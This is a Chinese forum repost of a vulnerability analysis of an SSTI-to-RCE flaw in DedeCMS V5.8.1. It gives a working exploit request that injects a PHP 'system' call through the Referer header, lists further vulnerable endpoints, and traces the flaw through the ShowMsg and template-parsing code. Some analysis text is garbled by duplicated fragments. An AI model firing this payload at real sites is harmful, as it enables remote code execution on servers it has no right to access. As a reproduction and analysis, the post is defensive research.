北京乐观大叔 發表於 2023-5-19 00:00:00

DedeCMS V5.8.1 SSTI模板注入导致RCE漏洞

<p align="center">
        </p>
<p>
        漏洞类型</p>
<p>
        SSTI RCE</p>
<p>
        利用条件</p>
<p>
        影响范围应用</p>
<p>
        漏洞概述</p>
<p>
        2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞,由于SQL注入漏洞利用条件极为苛刻,故这里只对该SSTI注入漏洞进行简要分析复现</p>
<p>
        漏环境搭建</p>
<p>
        <strong>【技术学习资料】</strong></p>
<p>
        漏洞复现</p>
<p>
        这里使用phpstudy来搭建环境</p>
<p align="center">
        </p>
<p align="center">
        </p>
<p align="center">
        </p>
<p align="center">
        </p>
<p>
        网站前台:http://192.168.59.1/index.php?upcache=1</p>
<p align="center">
        </p>
<p>
        网站后台: http://192.168.59.1/dede/login.php?gotopa...</p>
<p align="center">
        </p>
<p>
        漏洞利用</p>
<div>
        <ol>
<li>
                        <span><span>GET /plus/flink.php?dopost=save HTTP/1.1Host: 192.168.59.1Referer: &lt;?php </span><span>"system"</span><span>(whoami);die;</span><span>/*Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/</span><span>*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390Connection: close </span></span>
</li>
        </ol>
</div>
<p align="center">
        </p>
<p>
        类似的URL还有:</p>
<div>
        <ol>
<li>
                        <span><span>/plus/flink.php?dopost=save/plus/users_products.php?oid=1337     /plus/download.php?aid=1337/plus/showphoto.php?aid=1337/plus/users-</span><span>do</span><span>.php?fmdo=sendMail/plus/posttocar.php?id=1337/plus/recommend.php </span></span>
</li>
                <li>
                         </li>
        </ol>
</div>
<p>
        </p>
<p>
        漏洞分析</p>
<p>
        漏洞入口位于plus/flink.php文件中,在该文件中如果我们传入的dopost值为save且未传递验证码时,紧接着会去调用ShowMsg函数:</p>
<p align="center">
        </p>
<p>
        之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内</p>
<div>
        <ol>
<li>
                        <span><span>/** *  短消息函数,可以在某个动作处理后友好的提示信息 * * @param  string $msg       消息提示信息 * @param  string $gourl     跳转地址 * @param  int    $onlymsg   仅显示信息 * @param  int    $limittime 限制时间 * @return void */</span><span>function</span><span> ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0){    </span><span>if</span><span> (empty($GLOBALS[</span><span>'cfg_plus_dir'</span><span>])) {        $GLOBALS[</span><span>'cfg_plus_dir'</span><span>] = </span><span>'..'</span><span>;    }    </span><span>if</span><span> ($gourl == -1) {        $gourl = isset($_SERVER[</span><span>'HTTP_REFERER'</span><span>]) ? $_SERVER[</span><span>'HTTP_REFERER'</span><span>] : </span><span>''</span><span>;        </span><span>if</span><span> ($gourl == </span><span>""</span><span>) {            $gourl = -1;        }    }    $htmlhead = </span><span>"    &lt;html&gt;\r\n&lt;head&gt;\r\n&lt;title&gt;DedeCMS提示信息&lt;/title&gt;\r\n    &lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" /&gt;    &lt;meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\"&gt;    &lt;meta name=\"renderer\" content=\"webkit\"&gt;    &lt;meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" /&gt;    &lt;link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" /&gt;    &lt;link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\"&gt;    &lt;base target='_self'/&gt;    &lt;/head&gt;    &lt;body&gt;    "</span><span> . (isset($GLOBALS[</span><span>'ucsynlogin'</span><span>]) ? $GLOBALS[</span><span>'ucsynlogin'</span><span>] : </span><span>''</span><span>) . </span><span>"    &lt;center style=\"width:450px\" class=\"uk-container\"&gt;    &lt;div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\"&gt;        &lt;div class=\"uk-card-header\"  style=\"height:20px\"&gt;DedeCMS 提示信息!&lt;/div&gt;    &lt;script&gt;\r\n"</span><span>;    $htmlfoot = </span><span>"    &lt;/script&gt;    &lt;/center&gt;    &lt;script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"&gt;&lt;/script&gt;    &lt;script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"&gt;&lt;/script&gt;    &lt;/body&gt;\r\n&lt;/html&gt;\r\n"</span><span>;    $litime = ($limittime == 0 ? 1000 : $limittime);    $func = </span><span>''</span><span>;    </span><span>if</span><span> ($gourl == </span><span>'-1'</span><span>) {        </span><span>if</span><span> ($limittime == 0) {            $litime = 3000;        }        $gourl = </span><span>"javascript:history.go(-1);"</span><span>;    }    </span><span>if</span><span> ($gourl == </span><span>''</span><span> || $onlymsg == 1) {        $msg = </span><span>"&lt;script&gt;alert(\""</span><span> . str_replace(</span><span>"\""</span><span>, </span><span>"“"</span><span>, $msg) . </span><span>"\");&lt;/script&gt;"</span><span>;    } </span><span>else</span><span> {        </span><span>//当网址为:close::objname 时, 关闭父框架的id=objname元素        if (preg_match('/close::/', $gourl)) {            $tgobj = trim(preg_replace('/close::/', '', $gourl));            $gourl = 'javascript:;';            $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";        }        $func .= "var pgo=0;      function JumpUrl(){        if(pgo==0){ location='$gourl'; pgo=1; }      }\r\n";        $rmsg = $func;        $rmsg .= "document.write(\"&lt;div &gt;&lt;br /&gt;\");\r\n";        $rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";        $rmsg .= "document.write(\"";        if ($onlymsg == 0) {            if ($gourl != 'javascript:;' &amp;&amp; $gourl != '') {                $rmsg .= "&lt;br /&gt;&lt;a href='{$gourl}'&gt;如果你的浏览器没反应,请点击这里...&lt;/a&gt;";                $rmsg .= "&lt;br/&gt;&lt;/div&gt;\");\r\n";                $rmsg .= "setTimeout('JumpUrl()',$litime);";            } else {                $rmsg .= "&lt;br/&gt;&lt;/div&gt;\");\r\n";            }        } else {            $rmsg .= "&lt;br/&gt;&lt;br/&gt;&lt;/div&gt;\");\r\n";        }        $msg = $htmlhead . $rmsg . $htmlfoot;    }    $tpl = new DedeTemplate();    $tpl-&gt;LoadString($msg);    $tpl-&gt;Display();}</span><span> </span></span>
</li>
        </ol>
</div>
<p>
        在这里我们可以看到如果gourl被设置为?1(间接可控),则攻击者可以通过HTTPREFERER控制gourl被设置为?1(间接可控),则攻击者可以通过HTTPREFERER控制gourl处变量的值,而该变量未经过滤直接赋值给变量gourl,之后经过一系列的操作之后将gourl,之后经过一系列的操作之后将gourl与html代码拼接处理后转而调用tpl?&gt;LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由tpl?&gt;LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由str赋值过来,该变量攻击者可控,之后将其进行一次md5计算,然后设置缓存文件和缓存配置文件名,缓存文件位于data\tplcache目录,之后调用ParserTemplate对文件进行解析:</p>
<p align="center">
        </p>
<p>
        ParserTemplate如下:</p>
<div>
        <ol>
<li>
                        <span><span>/**     *  解析模板     *     * @access public     * @return void     */</span><span>    </span><span>public</span><span> </span><span>function</span><span> ParseTemplate()    {        </span><span>if</span><span> ($</span><span>this</span><span>-&gt;makeLoop &gt; 5) {            </span><span>return</span><span>;        }        $</span><span>this</span><span>-&gt;count = -1;        $</span><span>this</span><span>-&gt;cTags = array();        $</span><span>this</span><span>-&gt;isParse = </span><span>true</span><span>;        $sPos = 0;        $ePos = 0;        $tagStartWord = $</span><span>this</span><span>-&gt;tagStartWord;        $fullTagEndWord = $</span><span>this</span><span>-&gt;fullTagEndWord;        $sTagEndWord = $</span><span>this</span><span>-&gt;sTagEndWord;        $tagEndWord = $</span><span>this</span><span>-&gt;tagEndWord;        $startWordLen = strlen($tagStartWord);        $sourceLen = strlen($</span><span>this</span><span>-&gt;sourceString);        </span><span>if</span><span> ($sourceLen &lt;= ($startWordLen + 3)) {            </span><span>return</span><span>;        }        $cAtt = </span><span>new</span><span> TagAttributeParse();        $cAtt-&gt;CharToLow = </span><span>true</span><span>;        </span><span>//遍历模板字符串,请取标记及其属性信息        $t = 0;        $preTag = '';        $tswLen = strlen($tagStartWord);        @$cAtt-&gt;cAttributes-&gt;items = array();        for ($i = 0; $i &lt; $sourceLen; $i++) {            $ttagName = '';            //如果不进行此判断,将无法识别相连的两个标记            if ($i - 1 &gt;= 0) {                $ss = $i - 1;            } else {                $ss = 0;            }            $tagPos = strpos($this-&gt;sourceString, $tagStartWord, $ss);            //判断后面是否还有模板标记            if ($tagPos == 0 &amp;&amp; ($sourceLen - $i &lt; $tswLen                || substr($this-&gt;sourceString, $i, $tswLen) != $tagStartWord)            ) {                $tagPos = -1;                break;            }            //获取TAG基本信息            for ($j = $tagPos + $startWordLen; $j &lt; $tagPos + $startWordLen + $this-&gt;tagMaxLen; $j++) {                if (preg_match("/[ &gt;\/\r\n\t\}\.]/", $this-&gt;sourceString[$j])) {                    break;                } else {                    $ttagName .= $this-&gt;sourceString[$j];                }            }            if ($ttagName != '') {                $i = $tagPos + $startWordLen;                $endPos = -1;                //判断  '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近                $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;                $e1 = strpos($this-&gt;sourceString, $sTagEndWord, $i);                $e2 = strpos($this-&gt;sourceString, $tagStartWord, $i);                $e3 = strpos($this-&gt;sourceString, $fullTagEndWordThis, $i);                $e1 = trim($e1);                $e2 = trim($e2);                $e3 = trim($e3);                $e1 = ($e1 == '' ? '-1' : $e1);                $e2 = ($e2 == '' ? '-1' : $e2);                $e3 = ($e3 == '' ? '-1' : $e3);                if ($e3 == -1) {                    //不存在'{/tag:标记'                    $endPos = $e1;                    $elen = $endPos + strlen($sTagEndWord);                } else if ($e1 == -1) {                    //不存在 '/}'                    $endPos = $e3;                    $elen = $endPos + strlen($fullTagEndWordThis);                }                //同时存在 '/}' 和 '{/tag:标记'                else {                    //如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'                    if ($e1 &lt; $e2 &amp;&amp; $e1 &lt; $e3) {                        $endPos = $e1;                        $elen = $endPos + strlen($sTagEndWord);                    } else {                        $endPos = $e3;                        $elen = $endPos + strlen($fullTagEndWordThis);                    }                }                //如果找不到结束标记,则认为这个标记存在错误                if ($endPos == -1) {                    echo "Tpl Character postion $tagPos, '$ttagName' Error!&lt;br /&gt;\r\n";                    break;                }                $i = $elen;                //分析所找到的标记位置等信息                $attStr = '';                $innerText = '';                $startInner = 0;                for ($j = $tagPos + $startWordLen; $j &lt; $endPos; $j++) {                    if ($startInner == 0) {                        if ($this-&gt;sourceString[$j] == $tagEndWord) {                            $startInner = 1;                            continue;                        } else {                            $attStr .= $this-&gt;sourceString[$j];                        }                    } else {                        $innerText .= $this-&gt;sourceString[$j];                    }                }                $ttagName = strtolower($ttagName);                //if、php标记,把整个属性串视为属性                if (preg_match("/^if{0,}$/", $ttagName)) {                    $cAtt-&gt;cAttributes = new TagAttribute();                    $cAtt-&gt;cAttributes-&gt;count = 2;                    $cAtt-&gt;cAttributes-&gt;items['tagname'] = $ttagName;                    $cAtt-&gt;cAttributes-&gt;items['condition'] = preg_replace("/^if{0,}[\r\n\t ]/", "", $attStr);                    $innerText = preg_replace("/\{else\}/i", '&lt;' . "?php\r\n}\r\nelse{\r\n" . '?' . '&gt;', $innerText);                } else if ($ttagName == 'php') {                    $cAtt-&gt;cAttributes = new TagAttribute();                    $cAtt-&gt;cAttributes-&gt;count = 2;                    $cAtt-&gt;cAttributes-&gt;items['tagname'] = $ttagName;                    $cAtt-&gt;cAttributes-&gt;items['code'] = '&lt;' . "?php\r\n" . trim(                        preg_replace(                            "/^php{0,}[\r\n\t ]/",                            "", $attStr                        )                    ) . "\r\n?" . '&gt;';                } else {                    //普通标记,解释属性                    $cAtt-&gt;SetSource($attStr);                }                $this-&gt;count++;                $cTag = new Tag();                $cTag-&gt;tagName = $ttagName;                $cTag-&gt;startPos = $tagPos;                $cTag-&gt;endPos = $i;                $cTag-&gt;cAtt = $cAtt-&gt;cAttributes;                $cTag-&gt;isCompiler = false;                $cTag-&gt;tagID = $this-&gt;count;                $cTag-&gt;innerText = $innerText;                $this-&gt;cTags[$this-&gt;count] = $cTag;            } else {                $i = $tagPos + $startWordLen;                break;            }        } //结束遍历模板字符串        if ($this-&gt;count &gt; -1 &amp;&amp; $this-&gt;isCompiler) {            $this-&gt;CompilerAll();        }    }</span><span> </span></span>
</li>
        </ol>
</div>
<p>
        之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数</p>
<p align="center">
        </p>
<p>
        在WriteCache函数中写入缓存文件:</p>
<p align="center">
        </p>
<p>
        在这里使用GetResult返回值sourceString来设置$result变量,该变量包含攻击者控制的输入数据:</p>
<p align="center">
        </p>
<p>
        之后调用CheckDisabledFunctions函数进行检查操作,该函数主要用于检查是否存在被禁止的函数,然后通过token_get_all_nl函数获取输入,然而处理时并没有过滤双引号,存在被绕过的风险,攻击者可以通过将恶意PHP写到临时文件,之后在Display函数处通过include $tpl-&gt;CacheFile()将恶意临时文件包含进来从而实现远程代码执行:</p>
<p align="center">
        </p>
<p>
        安全建议</p>
<p>
        目前官方已发布最新版本:DedeCMS V5.7.80 UTF-8正式版,建议升级到该版本</p>
頁: [1]
查看完整版本: DedeCMS V5.8.1 SSTI模板注入导致RCE漏洞